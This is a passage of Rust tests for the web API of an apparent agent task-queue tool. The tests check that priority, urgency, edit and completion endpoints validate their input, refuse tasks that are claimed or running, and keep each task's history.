18649    async fn urgent_api_updates_preserves_and_validates_tasks() {
18650        let f = Fixture::start().await;
18651        let q = f.queue();
18652        let mut t = Task::new(
18653            "urgent API".into(),
18654            "unchanged".into(),
18655            PathBuf::from("/repo/magi"),
18656            Source::Human,
18657        );
18658        t.attempts = 2;
18659        t.priority = 9;
18660        t.interrupt = true;
18661        t.hold_reason = Some("waiting for approval".into());
18662        for status in [TaskStatus::Queued, TaskStatus::Held] {
18663            t.status = status;
18664            q.put(&mut t).unwrap();
18665            for urgent in [true, true, false, false] {
18666                let response = f
18667                    .post(
18668                        &format!("/api/queue/{}/urgent", t.short()),
18669                        Some(&format!("{{\"urgent\":{urgent}}}")),
18670                    )
18671                    .await;
18672                assert_eq!(response.status, 200, "{}", response.body);
18673                assert_eq!(response.json()["urgent"], urgent);
18674                let saved = q.get(&t.id).unwrap();
18675                let mut before = serde_json::to_value(&t).unwrap();
18676                let mut after = serde_json::to_value(saved).unwrap();
18677                before["urgent"] = urgent.into();
18678                before.as_object_mut().unwrap().remove("updated_at");
18679                after.as_object_mut().unwrap().remove("updated_at");
18680                assert_eq!(after, before);
18681            }
18682        }
18683        let route = format!("/api/queue/{}/urgent", t.id);
18684        for body in [
18685            r#"{}"#,
18686            r#"{"urgent":null}"#,
18687            r#"{"urgent":"true"}"#,
18688            r#"{"urgent":1}"#,
18689            r#"{"urgent":true,"extra":false}"#,
18690            "{",
18691        ] {
18692            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18693        }
18694        t.status = TaskStatus::Queued;
18695        q.put(&mut t).unwrap();
18696        let claim = q.claim(&t.id).unwrap();
18697        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18698        assert_eq!(response.status, 409, "{}", response.body);
18699        assert!(!q.get(&t.id).unwrap().urgent);
18700        drop(claim);
18701        for status in [
18702            TaskStatus::Running,
18703            TaskStatus::Done,
18704            TaskStatus::Failed,
18705            TaskStatus::Blocked,
18706            TaskStatus::Parked,
18707        ] {
18708            t.status = status;
18709            q.put(&mut t).unwrap();
18710            for urgent in [true, false] {
18711                let response = f
18712                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18713                    .await;
18714                assert_eq!(response.status, 400, "{}", response.body);
18715                assert!(response.body.contains(status.as_str()));
18716                assert!(response.body.contains("queued or held"));
18717                assert!(!q.get(&t.id).unwrap().urgent);
18718            }
18719        }
18720        assert_eq!(
18721            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18722                .await
18723                .status,
18724            404
18725        );
18726    }
18727
18728    #[test]
18729    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18730        for immediate in [true, false] {
18731            let body: ImmediateBody =
18732                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18733            assert_eq!(body.immediate, immediate);
18734        }
18735        for input in [
18736            r#"{}"#,
18737            r#"{"immediate":null}"#,
18738            r#"{"immediate":"true"}"#,
18739            r#"{"immediate":1}"#,
18740            r#"{"immediate":true,"extra":false}"#,
18741        ] {
18742            assert!(
18743                serde_json::from_str::<ImmediateBody>(input).is_err(),
18744                "{input}"
18745            );
18746        }
18747    }
18748
18749    #[tokio::test]
18750    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18751        let f = Fixture::start().await;
18752        let q = f.queue();
18753        let mut t = Task::new(
18754            "immediate API".into(),
18755            "unchanged".into(),
18756            PathBuf::from("/repo/magi"),
18757            Source::Human,
18758        );
18759        t.attempts = 2;
18760        t.priority = 9;
18761        t.interrupt = true;
18762        t.urgent = true;
18763        t.hold_reason = Some("waiting for approval".into());
18764        for status in [TaskStatus::Queued, TaskStatus::Held] {
18765            t.status = status;
18766            q.put(&mut t).unwrap();
18767            for immediate in [true, true, false, false] {
18768                let response = f
18769                    .post(
18770                        &format!("/api/queue/{}/immediate", t.short()),
18771                        Some(&format!("{{\"immediate\":{immediate}}}")),
18772                    )
18773                    .await;
18774                assert_eq!(response.status, 200, "{}", response.body);
18775                let payload = response.json();
18776                assert_eq!(payload["immediate"], immediate);
18777                assert_eq!(payload["urgent"], true);
18778                if immediate {
18779                    assert_eq!(payload["admission"]["mode"], "immediate");
18780                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18781                    assert!(
18782                        !label.contains("claimed by another process"),
18783                        "mutate must drop its claim before computing admission: {payload}"
18784                    );
18785                    if status == TaskStatus::Held {
18786                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18787                    }
18788                }
18789                let saved = q.get(&t.id).unwrap();
18790                let mut before = serde_json::to_value(&t).unwrap();
18791                let mut after = serde_json::to_value(saved).unwrap();
18792                before["immediate"] = immediate.into();
18793                before.as_object_mut().unwrap().remove("updated_at");
18794                after.as_object_mut().unwrap().remove("updated_at");
18795                assert_eq!(after, before);
18796            }
18797        }
18798        let route = format!("/api/queue/{}/immediate", t.id);
18799        for body in [
18800            r#"{}"#,
18801            r#"{"immediate":null}"#,
18802            r#"{"immediate":"true"}"#,
18803            r#"{"immediate":1}"#,
18804            r#"{"immediate":true,"extra":false}"#,
18805            "{",
18806        ] {
18807            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18808        }
18809        t.status = TaskStatus::Queued;
18810        q.put(&mut t).unwrap();
18811        let claim = q.claim(&t.id).unwrap();
18812        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18813        assert_eq!(response.status, 409, "{}", response.body);
18814        assert!(!q.get(&t.id).unwrap().immediate);
18815        drop(claim);
18816        for status in [
18817            TaskStatus::Running,
18818            TaskStatus::Done,
18819            TaskStatus::Failed,
18820            TaskStatus::Blocked,
18821            TaskStatus::Parked,
18822        ] {
18823            t.status = status;
18824            q.put(&mut t).unwrap();
18825            for immediate in [true, false] {
18826                let response = f
18827                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18828                    .await;
18829                assert_eq!(response.status, 400, "{}", response.body);
18830                assert!(response.body.contains(status.as_str()));
18831                assert!(response.body.contains("queued or held"));
18832                assert!(!q.get(&t.id).unwrap().immediate);
18833            }
18834        }
18835        assert_eq!(
18836            f.post(
18837                "/api/queue/missing/immediate",
18838                Some(r#"{"immediate":true}"#)
18839            )
18840            .await
18841            .status,
18842            404
18843        );
18844    }
18845
18846    #[tokio::test]
18847    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18848        let f = Fixture::start().await;
18849        let queue = f.queue();
18850        let mut older = Task::new(
18851            "filed first".to_owned(),
18852            "x".to_owned(),
18853            PathBuf::from("/repo/magi"),
18854            Source::Human,
18855        );
18856        older.id = "20260101-000001-aaaa".to_owned();
18857        let mut newer = Task::new(
18858            "filed second".to_owned(),
18859            "x".to_owned(),
18860            PathBuf::from("/repo/magi"),
18861            Source::Human,
18862        );
18863        newer.id = "20260101-000002-bbbb".to_owned();
18864        queue.put(&mut older).expect("file older");
18865        queue.put(&mut newer).expect("file newer");
18866
18867        // Equal priority: the newer task leads, the same order the old
18868        // newest-first `list()` already gave every equal-priority queue.
18869        let before = f.get("/api/queue").await.json();
18870        assert_eq!(before[0]["id"], newer.id);
18871        assert_eq!(before[1]["id"], older.id);
18872
18873        // Raising the *older* task is the meaningful case: it can only lead
18874        // now because its priority says so, not because it happens to be
18875        // newest.
18876        let raised = f
18877            .post(
18878                &format!("/api/queue/{}/priority", older.id),
18879                Some(r#"{"priority":10}"#),
18880            )
18881            .await;
18882        assert_eq!(raised.status, 200, "{}", raised.body);
18883        assert_eq!(raised.json()["priority"], 10);
18884
18885        let after = f.get("/api/queue").await.json();
18886        let names: Vec<&str> = after
18887            .as_array()
18888            .unwrap()
18889            .iter()
18890            .map(|t| t["id"].as_str().unwrap())
18891            .collect();
18892        // Highest priority first, which is the order next_runnable and
18893        // `magi task list` both use - GET /api/queue must agree with it
18894        // immediately, not just once the loop claims the task.
18895        assert_eq!(names[0], older.id, "the raised task now sorts first");
18896    }
18897
18898    #[tokio::test]
18899    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18900        let f = Fixture::start().await;
18901        let queue = f.queue();
18902        let mut tasks = Vec::new();
18903        for id in [
18904            "20260101-000001-aaaa",
18905            "20260101-000002-bbbb",
18906            "20260101-000003-cccc",
18907        ] {
18908            let mut task = Task::new(
18909                id.into(),
18910                "x".into(),
18911                PathBuf::from("/repo/magi"),
18912                Source::Human,
18913            );
18914            task.id = id.into();
18915            queue.put(&mut task).unwrap();
18916            tasks.push(task);
18917        }
18918        assert_eq!(
18919            queue.next_runnable().unwrap().id,
18920            tasks[0].id,
18921            "equal priorities use ascending id"
18922        );
18923        let route = format!("/api/queue/{}/priority", tasks[2].id);
18924        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18925        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18926        tasks[1].start("upgrade-run".into());
18927        tasks[1].park("upgrade");
18928        tasks[1].record_pass_at(
18929            "upgrade-run",
18930            0,
18931            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18932            1,
18933            Some(crate::run::ParkCause::Upgrade {
18934                from: "old".into(),
18935                to: None,
18936            }),
18937        );
18938        queue.put(&mut tasks[1]).unwrap();
18939        let rows = f.get("/api/queue").await.json();
18940        let upgrade = rows
18941            .as_array()
18942            .unwrap()
18943            .iter()
18944            .find(|row| row["id"] == tasks[1].id)
18945            .unwrap();
18946        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18947        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18948        tasks[2] = queue.get(&tasks[2].id).unwrap();
18949        tasks[2].start("running-run".into());
18950        queue.put(&mut tasks[2]).unwrap();
18951        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18952        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18953    }
18954
18955    #[tokio::test]
18956    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18957        let dir = TempDir::new().unwrap();
18958        let q = Queue::at(dir.path().join("queue"));
18959        let ui = Arc::new(Ui::new(
18960            q.clone(),
18961            Questions::at(dir.path().join("questions")),
18962            Talks::at(dir.path().join("talks")),
18963            dir.path().join("runs"),
18964            dir.path().to_path_buf(),
18965            dir.path().to_path_buf(),
18966        ));
18967        let mut t = Task::new(
18968            "budget".into(),
18969            "keep".into(),
18970            dir.path().into(),
18971            Source::Human,
18972        );
18973        t.attempts = 2;
18974        t.runs.push("prior-run".into());
18975        t.hold_manual(Some("waiting".into()));
18976        q.put(&mut t).unwrap();
18977        let change = |value| {
18978            queue_attempt_limit(
18979                State(ui.clone()),
18980                Path(t.id.clone()),
18981                Ok(Json(AttemptLimitBody {
18982                    attempt_limit: value,
18983                })),
18984            )
18985        };
18986        for value in [
18987            serde_json::json!(3),
18988            serde_json::Value::Null,
18989            serde_json::json!(1),
18990        ] {
18991            let response = change(value.clone()).await.unwrap();
18992            assert_eq!(
18993                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18994                value
18995            );
18996            let saved = q.get(&t.id).unwrap();
18997            assert_eq!(
18998                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18999                value
19000            );
19001            assert_eq!(saved.status, TaskStatus::Held);
19002            assert_eq!(saved.attempts, t.attempts);
19003            assert_eq!(saved.runs, t.runs);
19004            assert_eq!(saved.hold_reason, t.hold_reason);
19005            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
19006                .await
19007                .unwrap()
19008                .0;
19009            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
19010            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
19011            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
19012            assert_eq!(outcome.max_attempts, detail.max_attempts);
19013        }
19014        for value in [
19015            serde_json::json!(0),
19016            serde_json::json!(-1),
19017            serde_json::json!(1.5),
19018            serde_json::json!("3"),
19019            serde_json::json!(true),
19020        ] {
19021            assert_eq!(
19022                change(value).await.err().unwrap().status,
19023                StatusCode::BAD_REQUEST
19024            );
19025        }
19026        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
19027        let claim = q.claim(&t.id).unwrap();
19028        assert_eq!(
19029            change(serde_json::json!(4)).await.err().unwrap().status,
19030            StatusCode::CONFLICT
19031        );
19032        drop(claim);
19033        for status in [
19034            TaskStatus::Running,
19035            TaskStatus::Done,
19036            TaskStatus::Failed,
19037            TaskStatus::Blocked,
19038            TaskStatus::Parked,
19039        ] {
19040            let mut stored = q.get(&t.id).unwrap();
19041            stored.status = status;
19042            q.put(&mut stored).unwrap();
19043            assert_eq!(
19044                change(serde_json::json!(4)).await.err().unwrap().status,
19045                StatusCode::BAD_REQUEST
19046            );
19047            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
19048        }
19049        let mut stored = q.get(&t.id).unwrap();
19050        stored.status = TaskStatus::Queued;
19051        q.put(&mut stored).unwrap();
19052        let _ = change(serde_json::Value::Null).await.unwrap();
19053        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
19054    }
19055
19056    #[tokio::test]
19057    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19058        let dir = TempDir::new().unwrap();
19059        let repo = dir.path().join("repo");
19060        std::fs::create_dir(&repo).unwrap();
19061        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19062        let q = Queue::at(dir.path().join("queue"));
19063        let ui = Arc::new(Ui::new(
19064            q.clone(),
19065            Questions::at(dir.path().join("questions")),
19066            Talks::at(dir.path().join("talks")),
19067            dir.path().join("runs"),
19068            dir.path().to_path_buf(),
19069            repo.clone(),
19070        ));
19071        let mut t = Task::new(
19072            "seats".into(),
19073            "keep instruction".into(),
19074            repo,
19075            Source::Human,
19076        );
19077        t.runs.push("prior-run".into());
19078        t.hold_manual(Some("waiting".into()));
19079        q.put(&mut t).unwrap();
19080        let change = |count| {
19081            queue_implementers(
19082                State(ui.clone()),
19083                Path(t.id.clone()),
19084                Ok(Json(ImplementersBody {
19085                    implementers: count,
19086                })),
19087            )
19088        };
19089        for count in [2, 1, 2] {
19090            let response = change(count).await.unwrap();
19091            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19092            let saved = q.get(&t.id).unwrap();
19093            assert_eq!(saved.implementers(), Some(usize::from(count)));
19094            assert_eq!(saved.runs, t.runs);
19095            assert_eq!(saved.instruction, t.instruction);
19096        }
19097        for count in [0, 4] {
19098            assert_eq!(
19099                change(count).await.err().unwrap().status,
19100                StatusCode::BAD_REQUEST
19101            );
19102        }
19103        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19104        let claim = q.claim(&t.id).unwrap();
19105        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19106        drop(claim);
19107        for status in [
19108            TaskStatus::Running,
19109            TaskStatus::Done,
19110            TaskStatus::Failed,
19111            TaskStatus::Blocked,
19112            TaskStatus::Parked,
19113        ] {
19114            let mut stored = q.get(&t.id).unwrap();
19115            stored.status = status;
19116            q.put(&mut stored).unwrap();
19117            assert_eq!(
19118                change(1).await.err().unwrap().status,
19119                StatusCode::BAD_REQUEST
19120            );
19121            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19122        }
19123    }
19124
19125    #[tokio::test]
19126    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19127        let f = Fixture::start().await;
19128        let queue = f.queue();
19129        let mut task = Task::new(
19130            "in flight".to_owned(),
19131            "x".to_owned(),
19132            PathBuf::from("/repo/magi"),
19133            Source::Human,
19134        );
19135        task.start("20260902-140502-bbbb".to_owned());
19136        queue.put(&mut task).expect("file the task");
19137
19138        let res = f
19139            .post(
19140                &format!("/api/queue/{}/priority", task.id),
19141                Some(r#"{"priority":9}"#),
19142            )
19143            .await;
19144        assert_eq!(res.status, 400, "{}", res.body);
19145        assert!(
19146            res.json()["error"]
19147                .as_str()
19148                .is_some_and(|e| e.contains("running")),
19149            "{}",
19150            res.body
19151        );
19152        assert_eq!(
19153            queue.get(&task.id).expect("reload").priority,
19154            0,
19155            "the refused write must not partially apply"
19156        );
19157    }
19158
19159    #[tokio::test]
19160    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19161        let f = Fixture::start().await;
19162        let queue = f.queue();
19163        let mut task = Task::new(
19164            "old title".to_owned(),
19165            "old instruction".to_owned(),
19166            PathBuf::from("/repo/magi"),
19167            Source::Agent {
19168                run: "20260101-000000-beef".to_owned(),
19169                node: "implement".to_owned(),
19170            },
19171        );
19172        task.runs.push("20260101-000000-beef".to_owned());
19173        queue.put(&mut task).expect("file the task");
19174        let created_at = task.created_at;
19175
19176        let edited = f
19177            .post(
19178                &format!("/api/queue/{}/edit", task.id),
19179                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19180            )
19181            .await;
19182        assert_eq!(edited.status, 200, "{}", edited.body);
19183        let body = edited.json();
19184        assert_eq!(body["title"], "new title");
19185        assert_eq!(body["instruction"], "new instruction");
19186        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19187        assert_eq!(body["created_at"], created_at.to_string());
19188        assert_eq!(
19189            body["source"]["kind"], "agent",
19190            "editing a task an agent filed must not turn it human: {body}"
19191        );
19192        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19193
19194        let reloaded = queue.get(&task.id).expect("reload");
19195        assert_eq!(reloaded.title, "new title");
19196        assert_eq!(reloaded.instruction, "new instruction");
19197    }
19198
19199    #[tokio::test]
19200    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19201        // The judge is an agent now: a repo whose only agent answers
19202        // "duplicate" stands in for it, so the refusal is the judge's.
19203        let tmp = TempDir::new().expect("tempdir");
19204        let repo = tmp.path().join("repo");
19205        std::fs::create_dir_all(&repo).expect("repo dir");
19206        let judge = MOCK_AGENT_TOML.replace(
19207            "printf ok",
19208            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19209        );
19210        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19211        let f = Fixture::with_repo(repo.clone()).await;
19212        let queue = f.queue();
19213        let mut owner = Task::new(
19214            "owner".to_owned(),
19215            "review it".to_owned(),
19216            repo.clone(),
19217            Source::Human,
19218        );
19219        owner.review_branch = Some("magi/ab12/A".to_owned());
19220        queue.put(&mut owner).expect("file the owner");
19221        let mut task = Task::new(
19222            "draft".to_owned(),
19223            "old".to_owned(),
19224            repo.clone(),
19225            Source::Human,
19226        );
19227        queue.put(&mut task).expect("file the draft");
19228        let url = format!("/api/queue/{}/edit", task.id);
19229
19230        let refused = f
19231            .post(
19232                &url,
19233                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19234            )
19235            .await;
19236        assert_eq!(refused.status, 409, "{}", refused.body);
19237        let msg = refused.json()["error"]
19238            .as_str()
19239            .unwrap_or_default()
19240            .to_owned();
19241        assert!(
19242            msg.contains("magi/ab12/A") && msg.contains("force"),
19243            "{msg}"
19244        );
19245        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19246
19247        let forced = f
19248            .post(
19249                &url,
19250                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19251            )
19252            .await;
19253        assert_eq!(forced.status, 200, "{}", forced.body);
19254    }
19255
19256    #[tokio::test]
19257    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19258        let f = Fixture::start().await;
19259        let queue = f.queue();
19260        let mut task = Task::new(
19261            "in flight".to_owned(),
19262            "do not touch".to_owned(),
19263            PathBuf::from("/repo/magi"),
19264            Source::Human,
19265        );
19266        task.start("20260902-140502-bbbb".to_owned());
19267        queue.put(&mut task).expect("file the task");
19268
19269        let res = f
19270            .post(
19271                &format!("/api/queue/{}/edit", task.id),
19272                Some(r#"{"title":"x","instruction":"y"}"#),
19273            )
19274            .await;
19275        assert_eq!(res.status, 400, "{}", res.body);
19276        assert!(
19277            res.json()["error"]
19278                .as_str()
19279                .is_some_and(|e| e.contains("running")),
19280            "{}",
19281            res.body
19282        );
19283        assert_eq!(
19284            queue.get(&task.id).expect("reload").instruction,
19285            "do not touch",
19286            "the refused edit must not change the file"
19287        );
19288    }
19289
19290    #[tokio::test]
19291    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19292        let f = Fixture::start().await;
19293        let queue = f.queue();
19294        let mut task = Task::new(
19295            "busy".to_owned(),
19296            "Running right now".to_owned(),
19297            PathBuf::from("/repo/magi"),
19298            Source::Human,
19299        );
19300        queue.put(&mut task).expect("file the task");
19301        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19302
19303        let priority = f
19304            .post(
19305                &format!("/api/queue/{}/priority", task.id),
19306                Some(r#"{"priority":9}"#),
19307            )
19308            .await;
19309        assert_eq!(priority.status, 409, "{}", priority.body);
19310
19311        let edit = f
19312            .post(
19313                &format!("/api/queue/{}/edit", task.id),
19314                Some(r#"{"title":"x","instruction":"y"}"#),
19315            )
19316            .await;
19317        assert_eq!(edit.status, 409, "{}", edit.body);
19318    }
19319
19320    #[tokio::test]
19321    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19322        let f = Fixture::start().await;
19323        let queue = f.queue();
19324        let mut task = Task::new(
19325            "claimed".into(),
19326            "leave unchanged".into(),
19327            f.home.path().into(),
19328            Source::Human,
19329        );
19330        queue.put(&mut task).unwrap();
19331        let _claim = queue.claim(&task.id).unwrap();
19332        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19333            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19334            assert_eq!(missing.status, 404, "{}", missing.body);
19335            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19336
19337            let busy = f
19338                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19339                .await;
19340            assert_eq!(busy.status, 409, "{}", busy.body);
19341            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19342        }
19343        let unchanged = queue.get(&task.id).unwrap();
19344        assert_eq!(unchanged.status, TaskStatus::Queued);
19345        assert!(unchanged.completion_history.is_empty());
19346    }
19347
19348    #[test]
19349    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19350        let home = TempDir::new().unwrap();
19351        let queue = Queue::at(home.path().join("queue"));
19352        let mut current = Task::new(
19353            "stale".into(),
19354            "original".into(),
19355            home.path().into(),
19356            Source::Human,
19357        );
19358        queue.put(&mut current).unwrap();
19359        let expected = current.clone();
19360        current.instruction = "updated".into();
19361        queue.put(&mut current).unwrap();
19362
19363        let mut decision = expected.clone();
19364        decision.status = TaskStatus::Done;
19365        let error = queue
19366            .commit_completion(&mut decision, &expected)
19367            .unwrap_err();
19368        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19369        let saved = queue.get(&current.id).unwrap();
19370        assert_eq!(saved.status, TaskStatus::Queued);
19371        assert_eq!(saved.instruction, "updated");
19372    }
19373
19374    #[tokio::test]
19375    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19376        let f = Fixture::start().await;
19377        let queue = f.queue();
19378        let mut task = Task::new(
19379            "shipped by hand".to_owned(),
19380            "merged outside the loop".to_owned(),
19381            PathBuf::from("/repo/magi"),
19382            Source::Agent {
19383                run: "20260101-000000-b455".to_owned(),
19384                node: "implement".to_owned(),
19385            },
19386        );
19387        task.runs.push("20260101-000000-b455".to_owned());
19388        task.runs.push("20260101-000000-9af4".to_owned());
19389        queue.put(&mut task).expect("file the task");
19390        let created_at = task.created_at;
19391
19392        let done = f
19393            .post(
19394                &format!("/api/queue/{}/done", task.id),
19395                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19396            )
19397            .await;
19398        assert_eq!(done.status, 200, "{}", done.body);
19399        assert_eq!(done.json()["status_str"], "done");
19400
19401        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19402        assert_eq!(
19403            reloaded.runs,
19404            ["20260101-000000-b455", "20260101-000000-9af4"]
19405        );
19406        assert_eq!(
19407            reloaded.source,
19408            Source::Agent {
19409                run: "20260101-000000-b455".to_owned(),
19410                node: "implement".to_owned(),
19411            }
19412        );
19413        assert_eq!(reloaded.created_at, created_at);
19414        let event = reloaded
19415            .completion_history
19416            .last()
19417            .expect("completion audit");
19418        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19419        assert!(event.discard);
19420        assert_eq!(
19421            event.reason.as_deref(),
19422            Some("owner cancelled retained work")
19423        );
19424        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19425        assert_eq!(
19426            detail.json()["completion_history"][0]["occurrence"],
19427            event.occurrence
19428        );
19429    }
19430
19431    #[tokio::test]
19432    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19433        // Explicit discard may close held work without a release; the current
19434        // hold clears while the completion audit preserves its prior status.
19435        let f = Fixture::start().await;
19436        let queue = f.queue();
19437        let mut task = Task::new(
19438            "landed while held".to_owned(),
19439            "x".to_owned(),
19440            PathBuf::from("/repo/magi"),
19441            Source::Human,
19442        );
19443        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19444        queue.put(&mut task).expect("file the held task");
19445
19446        let done = f
19447            .post(
19448                &format!("/api/queue/{}/done", task.id),
19449                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19450            )
19451            .await;
19452        assert_eq!(done.status, 200, "{}", done.body);
19453        assert_eq!(done.json()["status_str"], "done");
19454        assert!(
19455            done.json()["hold_reason"].is_null(),
19456            "a done task cannot still be waiting on something: {}",
19457            done.body
19458        );
19459    }
19460
19461    #[tokio::test]
19462    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19463        // `queue_done` is the phone's way to close a task the loop never
19464        // settled itself - after confirming a manual GitHub merge, say - and
19465        // that is just as much "this task's story is over" as the loop's own
19466        // `Merged` path, so it must trigger the same cleanup.
19467        let f = Fixture::start().await;
19468        let queue = f.queue();
19469        let runs = f.runs();
19470        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19471        // The last attempt has to have actually landed for the earlier one
19472        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19473        // for the case where it didn't.
19474        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19475
19476        let mut task = Task::new(
19477            "landed by hand".to_owned(),
19478            "x".to_owned(),
19479            PathBuf::from("/repo/magi"),
19480            Source::Human,
19481        );
19482        task.runs.push("20260101-000000-doa1".to_owned());
19483        task.runs.push("20260101-000000-doa2".to_owned());
19484        let mut landed = read_run(&runs, "20260101-000000-doa2").unwrap();
19485        landed.task_instruction = Some(task.instruction.clone());
19486        landed.task_instruction_rev = Some(task.instruction_rev);
19487        landed.merge = Some(crate::run::MergeOutcome {
19488            mode: crate::config::MergeMode::Pr,
19489            ok: true,
19490            detail: "confirmed merge".into(),
19491            empty: false,
19492        });
19493        write_state(&runs, &landed);
19494        queue.put(&mut task).expect("file the task");
19495
19496        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19497        assert_eq!(done.status, 200, "{}", done.body);
19498
19499        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19500            .expect("run still on disk under this fixture's own home");
19501        assert_eq!(
19502            reloaded_run.status,
19503            RunStatus::Superseded,
19504            "closing the task by hand must relabel the earlier blocked attempt exactly \
19505             like the loop's own settle path does"
19506        );
19507    }
19508
19509    #[tokio::test]
19510    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19511        // Intentional discard preserves unsuccessful runs as unsuccessful:
19512        // closing the task does not claim they were delivered or superseded.
19513        let f = Fixture::start().await;
19514        let queue = f.queue();
19515        let runs = f.runs();
19516        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19517        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19518
19519        let mut task = Task::new(
19520            "closed with nothing actually landed".to_owned(),
19521            "x".to_owned(),
19522            PathBuf::from("/repo/magi"),
19523            Source::Human,
19524        );
19525        task.runs.push("20260101-000000-dob1".to_owned());
19526        task.runs.push("20260101-000000-dob2".to_owned());
19527        queue.put(&mut task).expect("file the task");
19528
19529        let done = f
19530            .post(
19531                &format!("/api/queue/{}/done", task.id),
19532                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19533            )
19534            .await;
19535        assert_eq!(done.status, 200, "{}", done.body);
19536
19537        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19538            .expect("run still on disk under this fixture's own home");
19539        assert_eq!(
19540            reloaded_run.status,
19541            RunStatus::Blocked,
19542            "the last recorded attempt never landed, so the earlier one must not be \
19543             relabelled as superseded by it"
19544        );
19545    }
19546
19547    #[tokio::test]
19548    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19549        let f = Fixture::start().await;
19550        let queue = f.queue();
19551        let mut task = Task::new(
19552            "unstarted".into(),
19553            "keep its history".into(),
19554            PathBuf::from("/repo/magi"),
19555            Source::Human,
19556        );
19557        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19558        task.runs.push("20260101-000000-aud1".into());
19559        queue.put(&mut task).unwrap();
19560        let path = format!("/api/queue/{}/done", task.id);
19561        let refused = f.post(&path, None).await;
19562        assert_eq!(refused.status, 400, "{}", refused.body);
19563        let blank = f
19564            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19565            .await;
19566        assert_eq!(blank.status, 400, "{}", blank.body);
19567        assert!(blank.body.contains("--discard requires a non-empty reason"));
19568        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19569        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19570        let closed = f
19571            .post(
19572                &path,
19573                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19574            )
19575            .await;
19576        assert_eq!(closed.status, 200, "{}", closed.body);
